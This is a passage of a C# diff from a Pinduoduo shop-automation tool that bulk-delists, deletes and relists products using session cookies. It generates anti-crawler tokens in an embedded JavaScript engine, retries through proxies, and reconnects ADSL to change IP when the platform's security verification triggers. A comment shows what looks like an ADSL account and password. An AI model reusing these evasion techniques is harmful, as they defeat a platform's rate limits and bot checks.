Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + ids.Clear(); + Shop.ClearNoVisitShop.goodStatus = "删除下架中" + DelCount + "个"; + ShopTemp.Add(Shop); + + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(5 * 1000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限") || html.Contains("所选商品超出当日删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "删除下架中" + DelCount + "个(完成)"; + ShopTemp.Add(Shop); + } + LogSave.Add(Name, "删除完成"); + } + + public void DeleteNoSpr() + { + GetAllOnlineCount(); + GetAllSprGroupOnline(); + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + if (idsx.Count >= 15) + { + string html = OffSprShop(idsx); + idsx.Clear(); + if (html == "error") + break; + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + OffSprShop(idsx); + idsx.Clear(); + } + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + //isOnline = !Shop.OnOrOffProduct[j].OffLine; + //if (isOnline) + //{ + // var api = new PinduoduoApiGetProduct(Shop); + // string html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + // Shop.OnOrOffProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + // ProductClearTemp.Add(Shop.OnOrOffProduct[j]); + // LogSave.Add(Name, "在线产品 " + Shop.OnOrOffProduct[j].Titlte + Shop.OnOrOffProduct[j].Message); + //} + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + DelCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + string html = DelGroupIds(ids); + + if (html.Contains("您当日所删除的商品已达上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + //ProductClearTemp.Add(p); + JinBaoMarketing.jinBaoTempProduct.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + //ProductClearTemp.Add(p); + JinBaoMarketing.jinBaoTempProduct.Add(p); + } + ids.Clear(); + DelGroupStatus delstatus = new DelGroupStatus(); + delstatus.shopName = Shop.ShopName; + delstatus.count = DelCount; + ClearGroupStatusList.Add(delstatus); + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(3 * 1000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + //ProductClearTemp.Add(p); + JinBaoMarketing.jinBaoTempProduct.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + //ProductClearTemp.Add(p); + JinBaoMarketing.jinBaoTempProduct.Add(p); + } + DelGroupStatus delstatus = new DelGroupStatus(); + delstatus.shopName = Shop.ShopName; + delstatus.count = DelCount; + ClearGroupStatusList.Add(delstatus); + } + LogSave.Add(Name, "删除完成"); + } + public void GetAllSprGroupOnline() + { + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + //if (goodFlag && count > goodCount) + // break; + + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (IsGoodCount && count > GoodCount) + break; + + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + //if (p.SaleCount > 0) + //{ + // LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + // continue; + //} + //int created_at = BaseRegex.GetIntJson(ref list, "created_at"); + //DateTime dt = BaseClass.StampToDateTime(created_at); + //if (ClearProductGroup.noDays && DateTime.Now.AddDays(-ClearProductGroup.daysCount) > dt) + // continue; + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + GetNoGoods(); + } + public void GetNoGoods() + { + List jinbaolst = new List(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/cps/api/query/unitList"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[\w\W]+?""hasCoupon"""); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goodsId"); + //TaobaoProductBase p = new TaobaoProductBase(); + //p.GoodsSn = BaseRegex.GetLongJson(ref list, "id"); + //p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + ////p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + //p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + + //p.ShopName = Shop.ShopName; + //p.UseShopName = Shop.Name; + //int price = BaseRegex.GetIntJson(ref list, "groupPrice"); + //p.Price = price / 100m; + //p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate") / 10; + ////商品已经被设置 + int onSale = BaseRegex.GetIntJson(ref list, "onSale"); + if (onSale == 0) + continue; + var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == id); + if (pt != null) + { + Shop.OnOrOffProduct.Remove(pt); + LogSave.Add(Name, "去掉推广商品" + pt.GoodsId); + } + } + Thread.Sleep(300); + } + LogSave.Add(Name, "获取完成"); + } + /// + /// 获取店铺回收站中的商品数量 + /// + public void GetRestoreProductCount() + { + string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/query"; + string refere = "https://mms.pinduoduo.com/goods/goods_recycle"; + string data = "{\"mall_id\":" + Shop.MallId + ",\"limit\":10,\"offset\":0}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + Shop.ClearNoVisitShop.resCount = allCount; + ClearProductGroup.ShopTemp.Add(Shop); + } + /// + /// 获取店铺上架和下架的商品数量 + /// + public void GetAllOnlineCount() + { + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html=CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + //string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + Shop.ClearNoVisitShop.onCount = allCount; + + data = "{\"order_by\":\"id:desc\",\"is_onsale\":0,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + allCount = BaseRegex.GetIntJson(ref html, "total"); + Shop.ClearNoVisitShop.offCount = allCount; + Shop.ClearNoVisitShop.goodsCount = Shop.ClearNoVisitShop.onCount + Shop.ClearNoVisitShop.offCount; + + url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); ; + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref html, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无"; + } + //罚款结束时间 + string punEndtime = BaseRegex.GetStringJson(ref html, "endTime"); + if (string.IsNullOrEmpty(punEndtime)) + { + punishment = "无"; + } + if (punishment != "无") + Shop.Message = punishment; + ShopTemp.Add(Shop); + } + public void Down() + { + string url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"size\":\"5\" }"; + //第一页匹配结果 + string htmlxt = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref htmlxt, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无"; + } + //罚款结束时间 + string punEndtime = BaseRegex.GetStringJson(ref htmlxt, "endTime"); + if (string.IsNullOrEmpty(punEndtime)) + { + punishment = "无"; + } + if (punishment != "无") + { + Shop.Message = punishment; + ShopTemp.Add(Shop); + if (ClearProductGroup.punoff) + return; + } + GetAllOnlineCount(); + GetAllGroupOnline(); + if (IsUseApi) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = ""; + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + + if (IsOnline) + { + if (IsGoodCount && OffCount >= GoodCount) + break; + html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + OffCount++; + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个"; + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + ShopTemp.Add(Shop); + break; + } + ShopTemp.Add(Shop); + } + Thread.Sleep(3 * 1000); + } + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + ShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个(完成)"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "下架完成"); + + return; + } + //Shop.ClearNoVisitShop.goodsCount = Shop.OnOrOffProduct.Count; + //ShopTemp.Add(Shop); + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + if (IsGoodCount && OffCount >= GoodCount) + break; + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + OffCount++; + if (idsx.Count >= 15) + { + string html = OffShop(idsx); + idsx.Clear(); + if (!string.IsNullOrEmpty(html) && html.Contains("为了保障您的账户安全,请先进行安全验证")) + { + Shop.ClearNoVisitShop.goodStatus = "店铺后台出现图形验证,请使用API接口"; + ShopTemp.Add(Shop); + return; + } + if (!string.IsNullOrEmpty(html)) + { + Shop.ClearNoVisitShop.goodStatus = html + "请查看IP是否被限制"; + ShopTemp.Add(Shop); + continue; + } + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个"; + ShopTemp.Add(Shop); + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + OffShop(idsx); + idsx.Clear(); + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个(完成)"; + ShopTemp.Add(Shop); + } + LogSave.Add(Name, "下架完成"); + } + public int upCount = 0; + public void Up() + { + GetAllOnlineCount(); + GetAllGroupOnline(); + if (IsUseApi) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = ""; + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = Shop.OnOrOffProduct[j].OffLine; + + if (IsOnline) + { + if (IsGoodCount && upCount >= GoodCount) + break; + html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, true); + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + ShopTemp.Add(Shop); + break; + } + upCount++; + Shop.ClearNoVisitShop.goodStatus = "上架第" + upCount + "个"; + ShopTemp.Add(Shop); + } + Thread.Sleep(3 * 1000); + } + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + ShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "上架第" + upCount + "个(完成)"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "上架完成"); + return; + } + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + if (IsGoodCount && upCount >= GoodCount) + break; + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + upCount++; + if (idsx.Count >= 15) + { + string html = UpShop(idsx); + idsx.Clear(); + if (!string.IsNullOrEmpty(html) && html.Contains("为了保障您的账户安全,请先进行安全验证")) + { + Shop.ClearNoVisitShop.goodStatus = "店铺后台出现图形验证,请使用API接口"; + ShopTemp.Add(Shop); + return; + } + if (!string.IsNullOrEmpty(html)) + { + Shop.ClearNoVisitShop.goodStatus = "请查看IP是否被限制"; + ShopTemp.Add(Shop); + continue; + } + //if (html == "error") + // return; + Shop.ClearNoVisitShop.goodStatus = "上架第" + upCount + "个"; + ShopTemp.Add(Shop); + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + UpShop(idsx); + idsx.Clear(); + Shop.ClearNoVisitShop.goodStatus = "上架第" + upCount + "个(完成)"; + ShopTemp.Add(Shop); + } + Shop.ClearNoVisitShop.goodStatus = "上架第" + upCount + "个(完成)"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "上架完成"); + } + + public string UpShop(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOnSale"; + string refere = "https://mms.pinduoduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + LogSave.Add(Name, "上架产品成功:" + s); + } + return ""; + } + if (html.Contains("手速太快了")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("超时") || html.Contains("手速太快了")) + { + Thread.Sleep(15 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + //if (GetProxyHtml.ips != null && GetProxyHtml.ips.Count > 0) + // html = GetProxyHtml.UploadProxyTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + if (html.Contains("超时") || html.Contains("手速太快了")) + { + Thread.Sleep(30 * 1000); + html = GetProxyHtml.UploadProxyTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, Shop.ShopName + "手速太快了,请过段时间再操作。"); + return "手速太快了"; + } + if (html.Contains("\"success\":false")) + { + LogSave.Add(Name, Shop.ShopName + "接口调用频繁,请过段时间再操作。"); + return "手速太快了"; + } + } + if (html.Contains("\"success\":false")) + { + Thread.Sleep(2 * 1000); + html = GetProxyHtml.UploadProxyTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + if (html.Contains("\"success\":false")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + return error_msg; + } + return ""; + } + private AdslHelper adsl = null; + private DateTime lasttime = DateTime.MinValue; + public AdslHelper GetAdsl() + { + string adslNamex = "宽带连接";//txtAdslName.Text.Trim(); + string account = adslName;//055192515753 + string password = adslPassWord;//382443 + adsl = new AdslHelper(adslNamex, account, password); + return adsl; + } + public void ConnectAdsl() + { + TimeSpan t3 = DateTime.Now - lasttime; + if (t3.TotalMinutes < 1) + return; + try + { + GetAdsl().Disconnect(); + Thread.Sleep(500); + bool result = GetAdsl().Connect(); + if (result) + { + LogSave.Add(Name, "ADSL拨号连接成功"); + } + else + { + LogSave.Add(Name, "ADSL拨号连接失败"); + } + } + catch + { + LogSave.Add(Name, "ADSL拨号连接失败"); + } + lasttime = DateTime.Now; + } + public string OffShop(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(urlx, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + //GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnOrOffProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + ProductClearTemp.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + return ""; + } + if (html.Contains("手速太快了")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("超时") || html.Contains("手速太快了")) + { + Thread.Sleep(15 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + //if (GetProxyHtml.ips != null && GetProxyHtml.ips.Count > 0) + // html = GetProxyHtml.UploadProxyTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + if (html.Contains("超时") || html.Contains("手速太快了")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, Shop.ShopName + "手速太快了,请过段时间再操作。"); + return "手速太快了"; + } + if (html.Contains("\"success\":false")) + { + LogSave.Add(Name, Shop.ShopName + "接口调用频繁,请过段时间再操作。"); + return "手速太快了"; + } + } + //if (html.Contains("\"success\":false")) + //{ + // Thread.Sleep(2 * 1000); + // html = GetProxyHtml.UploadProxyTaobaoPost(urlx, refere, true, data, Shop.Cookies); + //} + if (!string.IsNullOrEmpty(html) && html.Contains("为了保障您的账户安全,请先进行安全验证")) + { + if (!string.IsNullOrEmpty(adslName)) + { + ConnectAdsl(); + Thread.Sleep(2000); + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + } + } + if (html.Contains("\"success\":false")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + return error_msg; + } + return ""; + } + + public string OffSprShop(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + string GoodsId = pids.ToString(1, pids.Length - 1); + + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"goodsIds\":[" + GoodsId + "],\"crawlerInfo\":\"" + codex + "\"}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Shop.Cookies); + if (html.Contains("{\"success\":true")) + { + string[] l = GoodsId.Split(','); + foreach (string s in l) + { + var good = Shop.OnOrOffProduct.Find(p => p.GoodsId == long.Parse(s)); + good.Message = "下架成功"; + JinBaoMarketing.jinBaoTempProduct.Add(good); + LogSave.Add(Name, "下架产品成功:" + s); + } + return ""; + } + if (html.Contains("手速太快了")) + { + LogSave.Add(Name, Shop.ShopName + "接口调用频繁,请过段时间再操作。"); + return "error"; + } + return ""; + } + + public string DelGroupIds(List ids) + { + if (ids.Count == 0) + return ""; + StringBuilder pids = new StringBuilder(); + for (int i = 0; i < ids.Count; i++) + { + pids.Append("," + ids[i]); + } + var d = new DownUpProductExploder("", false, pids.ToString(1, pids.Length - 1)); + d.Cookies = Shop.Cookies; + d.Name = Name; + d.Shop = Shop; + string html = d.Delete(); + return html; + } + int count = 0; + long minPid = 0; + public void GetAllGroupOnline() + { + DelGetGroup(); + DelOrder(); + bool visflag = true; + if (IsNoVisit) + visflag = GetOnOrOff(); + if (!visflag) + { + LogSave.Add(Name, "流量数据读取失败"); + Thread.Sleep(3000); + return; + } + count = 0; + if (IsNoDays) + minPid = retCheckDaysPid(); + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"is_onsale\":" + (IsOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + if (MinPrice < 0) + MinPrice = 0; + if (MinPrice >= 0 && IsPrice) + { + if (MaxPrice == 0) + MaxPrice = 1000000000; + data = "{\"order_by\":\"id:asc\",\"is_onsale\":" + (IsOnline ? 1 : 0) + ",\"sku_price_range\":[" + MinPrice * 100 + "," + MaxPrice * 100 + "],\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + } + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + + int page = allCount / 100 + 